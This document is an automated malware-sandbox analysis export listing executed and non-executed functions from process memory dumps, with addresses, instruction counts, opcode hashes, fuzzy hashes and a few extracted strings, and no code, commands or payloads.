Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79b02e5083c614813de04328c230cb0ae317c8b89c93c06fb057494a2f2956bb
Instruction ID: 6aed0a2572cf154bb8167164e1b8db025fdfb9fabb78d1f05b8d5e6845907474
Opcode Fuzzy Hash: 79b02e5083c614813de04328c230cb0ae317c8b89c93c06fb057494a2f2956bb
Instruction Fuzzy Hash: F9113C21F1AA0D8FEFB4E7A8807867822D1EFD4740B0645B5E00EC71B2DDA8AD418704

Function 00007FFD9BAD0C38 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d55924d105cb1584e9e1f8f9bda1ba9ec2b18277a49c8a4fe5c05e66c3194230
Instruction ID: 80f3da79326f878b337a1c20839cbc0efc12cd5ef0c3d2c5b257171a9ac53c11
Opcode Fuzzy Hash: d55924d105cb1584e9e1f8f9bda1ba9ec2b18277a49c8a4fe5c05e66c3194230
Instruction Fuzzy Hash: 8A11E335B0E68D8FE722DBA888751DC7FB0EF82711F4642B7C084DB1A2D5781645C784

Function 00007FFD9BAD108D Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 546bb27242573d716b2ff03d090b273c24e9a89868df57a3b08f9c737ab1354d
Instruction ID: 0299aac199817b67169b287a53b7f6dd10b60655ba81c20562c2495ad6047df6
Opcode Fuzzy Hash: 546bb27242573d716b2ff03d090b273c24e9a89868df57a3b08f9c737ab1354d
Instruction Fuzzy Hash: 7001F72194E6C51FD76557B05C729A13FA0CF9722070A06FAE089CB1A3C84D19868351

Function 00007FFD9BAD0C40 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20a88906efef06bcd4aeeaf14eb3f720fdd5f53c6b0996164d9cd7d6a9e63f50
Instruction ID: 41823f13ed2216ca73f3532008c6e2071ab62d4456a10dc06256979cf150b674
Opcode Fuzzy Hash: 20a88906efef06bcd4aeeaf14eb3f720fdd5f53c6b0996164d9cd7d6a9e63f50
Instruction Fuzzy Hash: 0211CE35B0E68C8FE722DBA8886419C7FB0EF82711F4642B7C084DB2A2D9786645C784

Function 00007FFD9BAD0C48 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e5673af1c22e079893ed9eec4230d12051d5038c163e0d4b2fefbb6f438415e
Instruction ID: 3a43efe6dd6c6323e291d675cab27ce910d38a10676320fea4fae28effa4b0a1
Opcode Fuzzy Hash: 4e5673af1c22e079893ed9eec4230d12051d5038c163e0d4b2fefbb6f438415e
Instruction Fuzzy Hash: D9019235A0E38D9FD722DB64886419C7FB0EF82711F5642E7D084DB1A2D9786645C740

Function 00007FFD9BAD20A4 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e13fa36616500ce40822b65a238d87a0679f7d9ca0cfcedc23b3f3403c21563d
Instruction ID: 49cd45e355cb02de1765dc4e673738c277bd0321967db19c2e0e590c2563be82
Opcode Fuzzy Hash: e13fa36616500ce40822b65a238d87a0679f7d9ca0cfcedc23b3f3403c21563d
Instruction Fuzzy Hash: 17F03134E1991E8BEB74ABD4C8646F87360FB94311F1242B9D44ED31A1DEB86E85CA40

Function 00007FFD9BAD0C50 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 294c77ad3b9098297149d05974670f6fd77183be8ee2355add871680e2ca8470
Instruction ID: f7c8c829429c768fc2e5bdb9965249fe96ceb893ce704bc184dc1373c3e270b8
Opcode Fuzzy Hash: 294c77ad3b9098297149d05974670f6fd77183be8ee2355add871680e2ca8470
Instruction Fuzzy Hash: 7001BC34A0E38D9FE722DBA4886419C7FB0AF82701F5542E7C084CB2A2D9786A44C740

Function 00007FFD9BAD1AD2 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8c0b7b05d168d165f0ee1370f97a5adf80ccb921a8eadba5c0cf223eeeed9a4
Instruction ID: af1408247b04ecf8c5f83cbc2dfebd5c3d1fc2bf212f8c39e04cdcca6dc90067
Opcode Fuzzy Hash: a8c0b7b05d168d165f0ee1370f97a5adf80ccb921a8eadba5c0cf223eeeed9a4
Instruction Fuzzy Hash: E8E03061F1E81E5FF6B0A79880643B812D1FBA8B10F5643B2D40DD32A2DDAC2D028385

Function 00007FFD9BAD3C45 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 062050ae159345b8d7ac1e957ed2aa36a7aa5082830678db98d0f8cb635a4810
Instruction ID: 51e9708e32eb7bac10d59372e9197d3a9776d1aaea5a9a83395f814e1d70c726
Opcode Fuzzy Hash: 062050ae159345b8d7ac1e957ed2aa36a7aa5082830678db98d0f8cb635a4810
Instruction Fuzzy Hash: AAE0ED21F1A91D5FE6B4A75C84693BC22D2FBEC700F524376D40DD32A2DD6C2D428785

Function 00007FFD9BAD0D01 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9400922c4504c5271fa936df56a9fe2eebf87d3a013539dd861304df71eee8a
Instruction ID: 310ff8428f562e5057bf2a98428f6f2e8e53b6f83fb1ab5ca15871fccaa1aba0
Opcode Fuzzy Hash: f9400922c4504c5271fa936df56a9fe2eebf87d3a013539dd861304df71eee8a
Instruction Fuzzy Hash: 54F0B431B0964E8EE774DB64C4B46BD77F0EF94711F50427AD009C32E5DA786680CB45

Function 00007FFD9BAD10C0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d81ea3abc4b5d0f2cd6ab186def54774a6909d607d2edd3d4a69e2c7ee01cd6e
Instruction ID: 978465e5ce2c89b21227428091aeba7e600d2488689956c59386fb5f8455fd12
Opcode Fuzzy Hash: d81ea3abc4b5d0f2cd6ab186def54774a6909d607d2edd3d4a69e2c7ee01cd6e
Instruction Fuzzy Hash: F6E02621B1C84906EB7CBA7468B26B17280DB95724B0506B9E01EC22DACC4D1CC14381

Function 00007FFD9BAD626F Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aa4c8d1bda0f7e8db51d007f3015530dedacfdebdf34ebb1a3aa182d9c740c5
Instruction ID: 001275ffafd2fa88e3f64edad2b779b4b4cb8a32f99377d9c068830664bcfce8
Opcode Fuzzy Hash: 4aa4c8d1bda0f7e8db51d007f3015530dedacfdebdf34ebb1a3aa182d9c740c5
Instruction Fuzzy Hash: FDE04F21F0A82D1FE6B1A71880683A812D2FBA8B00F1143B2D40CD3262DD6829428780

Function 00007FFD9BAD6A11 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af5bc28fc2c0f0b71dd5e592dfd76922cbb1878aa8f2e7de69573f6f38a7678
Instruction ID: cf40b1aaf93878febd25d3955ad5d99ca662de4784a2b51917a49fbe6e54aa08
Opcode Fuzzy Hash: 9af5bc28fc2c0f0b71dd5e592dfd76922cbb1878aa8f2e7de69573f6f38a7678
Instruction Fuzzy Hash: 33E0ED20F0901A4BFBB4A794D8647B962A1AFD4300F1241B4D80D932E2DDB86E818745

Function 00007FFD9BAD5384 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a694a85e57c89b96afa3afa0940e3ba856f579c8a2424d16d51d4f95c1ccaad7
Instruction ID: 24c312c5c4231feda41b8bd292561b98360c2acb7d8dee7cda6d2171dec40766
Opcode Fuzzy Hash: a694a85e57c89b96afa3afa0940e3ba856f579c8a2424d16d51d4f95c1ccaad7
Instruction Fuzzy Hash: BAE0EC24F0A80E4FEFA4E7A480786B822D29FE4750F0A41B4D40DC71B2DDA8A9018700

Function 00007FFD9BAD0835 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8974cfe7e02493159de27da9e18819952443e9b5c1a7f68d406fca6c3c14ca71
Instruction ID: d8672fb132a5bb0cbea2143cbd48b7b93b7eb73c3f85e07f0941e10256806e61
Opcode Fuzzy Hash: 8974cfe7e02493159de27da9e18819952443e9b5c1a7f68d406fca6c3c14ca71
Instruction Fuzzy Hash: 4FC01210B5740D51D03473AEEC664ED7740EF88518FC64271E40D84096DC491587C196

Function 00007FFD9BAD0B9D Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e3223773806dd1eeb8a33bfc36a23128a0ee8a43556ffbef35106e3682b1600
Instruction ID: 5a7a21ac3f80e21b15f332d6c5c9e33e4dce99864514c66e350543c344b6f1c4
Opcode Fuzzy Hash: 2e3223773806dd1eeb8a33bfc36a23128a0ee8a43556ffbef35106e3682b1600
Instruction Fuzzy Hash: 60C0123062A80E8FDA80BB28C889924BBA0FB4E201BDA00E4E00CC71A1DA5998908700

Function 00007FFD9BAD06A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 607a3deceb6852d5288b94f2c8b9b075914afb68c719db66ca5244cb50052f0a
Instruction ID: 2e81c1da0b918a139826e1f3d2a9b4d61e8dded6c25d17f1babbac126a3091ec
Opcode Fuzzy Hash: 607a3deceb6852d5288b94f2c8b9b075914afb68c719db66ca5244cb50052f0a
Instruction Fuzzy Hash: D8C08C04F0F40F00F43073EE14360ACB1009BC4A10FD30332D00C800E19CDD22C5818E

Function 00007FFD9BAD308E Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e37cdc3615825068cff315a29f7d4d104bb4601dc22802fca50c847c084f6aa1
Instruction ID: c187ee74ab688bac4a76afddc5a2e4610882d4efca8566c45e7386ce615e4fde
Opcode Fuzzy Hash: e37cdc3615825068cff315a29f7d4d104bb4601dc22802fca50c847c084f6aa1
Instruction Fuzzy Hash: 43C0E914F1A91D4AE9B4A3A440756FD11D19F95B00B560674A04DD71E2DD5C69408645

Function 00007FFD9BAD34BF Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32d67519079df498516489f663c6b66fa9ce6fa7099d4db46eaefa5edeef4371
Instruction ID: 4cda587f8beccc05917d532c4acc1d8c29118d5ed9b56069addfbada7dab9cd9
Opcode Fuzzy Hash: 32d67519079df498516489f663c6b66fa9ce6fa7099d4db46eaefa5edeef4371
Instruction Fuzzy Hash: E5C04C01F1CC2A07E65A66144C2567E04935F9472DFD502B4F41F872DFCD5D5D0207C6

Function 00007FFD9BAD06C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1331302ace8906dc7ff6d84222f3b4709e12167f194fc678014da51f1390e612
Instruction ID: 3081ca6566bc6c794f9a2d8f4748dfbef7a0c6ca5a8b3e32accbc2225c5f9fc5
Opcode Fuzzy Hash: 1331302ace8906dc7ff6d84222f3b4709e12167f194fc678014da51f1390e612
Instruction Fuzzy Hash: F6B01200D5B44F00E43433FB086616870409BC4104FC20270D40CC019198CD129442C6

Function 00007FFD9BAD6A8C Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cac71e77d6b68aa96a6892ae0be65438d06d493e10b968ad6f9787162aca6423
Instruction ID: 7be111d0d1522463fa43b2e0b16bb4ab735d9b9aed14eecc4ff76e7f33d18cb8
Opcode Fuzzy Hash: cac71e77d6b68aa96a6892ae0be65438d06d493e10b968ad6f9787162aca6423
Instruction Fuzzy Hash: EFB09201F0E12B56F1B003D4513927902E05FE4344F0B2738E85C861F2FDDCAE014045

Non-executed Functions

Function 00007FFD9BAD09B0 Relevance: 5.2, Strings: 4, Instructions: 192COMMON

Download Yara Rule

Strings

c9, xrefs: 00007FFD9BAD0B56
#{9, xrefs: 00007FFD9BAD0B3E
!k9, xrefs: 00007FFD9BAD0B4E
"s9, xrefs: 00007FFD9BAD0B46

Memory Dump Source

Source File: 00000004.00000002.1862945708.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 47167712973b3a9a9e62675f81808e61468b2795b228273cbe5ec6e9cb2e28c3
Instruction ID: 45bb93ee007dc86df233ca01b83b64989824cc2b1c04b407da0dfdee7615457e
Opcode Fuzzy Hash: 47167712973b3a9a9e62675f81808e61468b2795b228273cbe5ec6e9cb2e28c3
Instruction Fuzzy Hash: 5A51AF02B0942605E33A73FD78228F96B449FA927FB4843B7F45E8D0EB4D096086C2E5

Analysis Process: SfLAFHFXIbHzHGgilQgXtKOw.exePID: 1748, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9BAB0D48 Relevance: 1.5, Strings: 1, Instructions: 263COMMON

Download Yara Rule

Strings

5Z_H, xrefs: 00007FFD9BAB0DF3

Memory Dump Source

Source File: 0000001D.00000002.1977882038.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9bab0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID: 5Z_H
API String ID: 0-3267294416
Opcode ID: 487002bb919c1b40a7ef0b486a4d0e101569877a3d782cceeeb08caa9fde9ebc
Instruction ID: f0f78675580693079a701c66ae55d8f4cbc5020a35c1d83200c265424966256a
Opcode Fuzzy Hash: 487002bb919c1b40a7ef0b486a4d0e101569877a3d782cceeeb08caa9fde9ebc
Instruction Fuzzy Hash: 4C913572A19A9D4FE79ADF6888657A87FE5FF59310F0501BED059CB2E2CBB81410CB00

Function 00007FFD9BAB1171 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1977882038.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9bab0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e798280138f0c3dafa465e6faa706c205333fdc3c05c9640f96a92f55f9a12b
Instruction ID: 73a2712b783edd667b7ab36974bbc81218fcb9218861f3e34cf7aecb7da3dd0f
Opcode Fuzzy Hash: 2e798280138f0c3dafa465e6faa706c205333fdc3c05c9640f96a92f55f9a12b
Instruction Fuzzy Hash: DEB12731A0864D8FDB58EF68C865AF97BE0FF1A311F0541BBE45DC71A2DA74A841CB81

Function 00007FFD9BAB0910 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1977882038.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9bab0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fc877b6dc4659d4d50e9d2919b31b904161a2694ddf5574928ce0186537395b
Instruction ID: 9fdd233f504693134e36ebb00589a5213171175cfe405ae223140c6f289cc91f
Opcode Fuzzy Hash: 1fc877b6dc4659d4d50e9d2919b31b904161a2694ddf5574928ce0186537395b
Instruction Fuzzy Hash: 75413B22B0D6690FE328B7BCA4AA5F97B80DF59339B1405FFD45ECB1E7CD1868418285

Function 00007FFD9BAB0960 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1977882038.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9bab0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a65fe2ac71bff45dfef9d1cef16a87feef161a5b94f5e07b4c71005ce4b596a8
Instruction ID: d90a01e8ef80cc7f8a99cb3dd715587fc8e1cfa7119df68d3c141b79a80c5335
Opcode Fuzzy Hash: a65fe2ac71bff45dfef9d1cef16a87feef161a5b94f5e07b4c71005ce4b596a8
Instruction Fuzzy Hash: 09314721B0D6291BE328B7BC646A5F977C1CF59376F1405FAE41EC71E7CC18AC414285

Function 00007FFD9BAB0998 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1977882038.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9bab0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ffe0fa9930b1ac67c1929093f50f9c353a8b7991890f7e9f7561f8cd817b60d
Instruction ID: 7eac7acd4024840a01e7cb3f8bb24596412d53c739230734d0aa2f4fe7420aca
Opcode Fuzzy Hash: 3ffe0fa9930b1ac67c1929093f50f9c353a8b7991890f7e9f7561f8cd817b60d
Instruction Fuzzy Hash: FE215920B1E95D0FE758BB6C84AA6BA7BC2DF99320F1400BDE41EC32F6CC58AC414785

Function 00007FFD9BAB0C25 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1977882038.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9bab0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1f6488d2bc5ede594b45525397c1355158fcadf00e8067d234cd63b65a7b113
Instruction ID: 526a599aacba5ba47de935c4511c2d7358a9507db731241d89ca38b261462072
Opcode Fuzzy Hash: d1f6488d2bc5ede594b45525397c1355158fcadf00e8067d234cd63b65a7b113
Instruction Fuzzy Hash: 63214732B0D26D8FE332A7A99C211EC7B60EF42325F1541B3D0548B1D3DA786646CB85

Function 00007FFD9BAB2075 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1977882038.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9bab0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10cad3ab40a93bb0d471bf15ba1ebd9e68b2fddbcdcbcede180ffab116093de0
Instruction ID: f33d4e70d98bc13dfcf6ca7c74e32509e2063e535c267a0d198426ba906c475d
Opcode Fuzzy Hash: 10cad3ab40a93bb0d471bf15ba1ebd9e68b2fddbcdcbcede180ffab116093de0
Instruction Fuzzy Hash: 33116330F1DA2D4BEE74EBA89464AF97391FF58300F1245B6D01EC71A2DD68AD419F40

Function 00007FFD9BAB1FE8 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1977882038.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9bab0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e48f0512546d8a4d28d4fdf3ce6c73654da50d5028fe88ad84d1e5576e580b2
Instruction ID: 854a6d36602e58126c41adb8f0b65ff2c22d9505d7fef3310d6c5fe65dd6d8a8
Opcode Fuzzy Hash: 6e48f0512546d8a4d28d4fdf3ce6c73654da50d5028fe88ad84d1e5576e580b2
Instruction Fuzzy Hash: 56119831F1E93E5AEBB49B9894646F97691FF48310F1242B6D42ED31F1DE686E408F40

Function 00007FFD9BAB449C Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1977882038.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9bab0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07d28e7ecd50a3784cb8d902da7d9ea3eaf8072eb73f913d3534d1ed4a770bc7
Instruction ID: 2b64508034ec726319a517ab6e72b00a82b0d1b4a26d62b3b4c143dcab9fa9a9
Opcode Fuzzy Hash: 07d28e7ecd50a3784cb8d902da7d9ea3eaf8072eb73f913d3534d1ed4a770bc7
Instruction Fuzzy Hash: E111ED3090892C8FDBA8DB08C494BA973E1EB54310F2541A9D44ED32B1CF74AEC5CF45

Function 00007FFD9BAB5323 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1977882038.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9bab0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22e372dd386fd2e1ce9ccfa461cd16b02464873bfca25ae95ba86f22cc353b63
Instruction ID: 7e8faebe623226484448de8e4a61cf14eecec026fe42e0d323407f1a01b06418
Opcode Fuzzy Hash: 22e372dd386fd2e1ce9ccfa461cd16b02464873bfca25ae95ba86f22cc353b63
Instruction Fuzzy Hash: EE013021F1A95D4FEFB4E7B8807967822C1AF94750F0644B9D02EC71B2DDA8AD414B04

Function 00007FFD9BAB0C38 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1977882038.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9bab0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7587874943aabddc55e4cb2cbdb504b149a6b17dce2d72c6ca3d4850881c679f
Instruction ID: 704d7cec44ec77c5cd57e3598e158e92764b703ec15b89d36f1fbc8b9bb9d53b
Opcode Fuzzy Hash: 7587874943aabddc55e4cb2cbdb504b149a6b17dce2d72c6ca3d4850881c679f
Instruction Fuzzy Hash: 6A110831B0D65D8FE732DBB988641EC7FB0EF42311F1644B7C054DB2A2EA7456458B84

Function 00007FFD9BAB0C40 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1977882038.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffd9bab0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60f5b6df0efd5d76ab581a44411128c5cb7ff6bdd04abe2c967eb2214b592e78
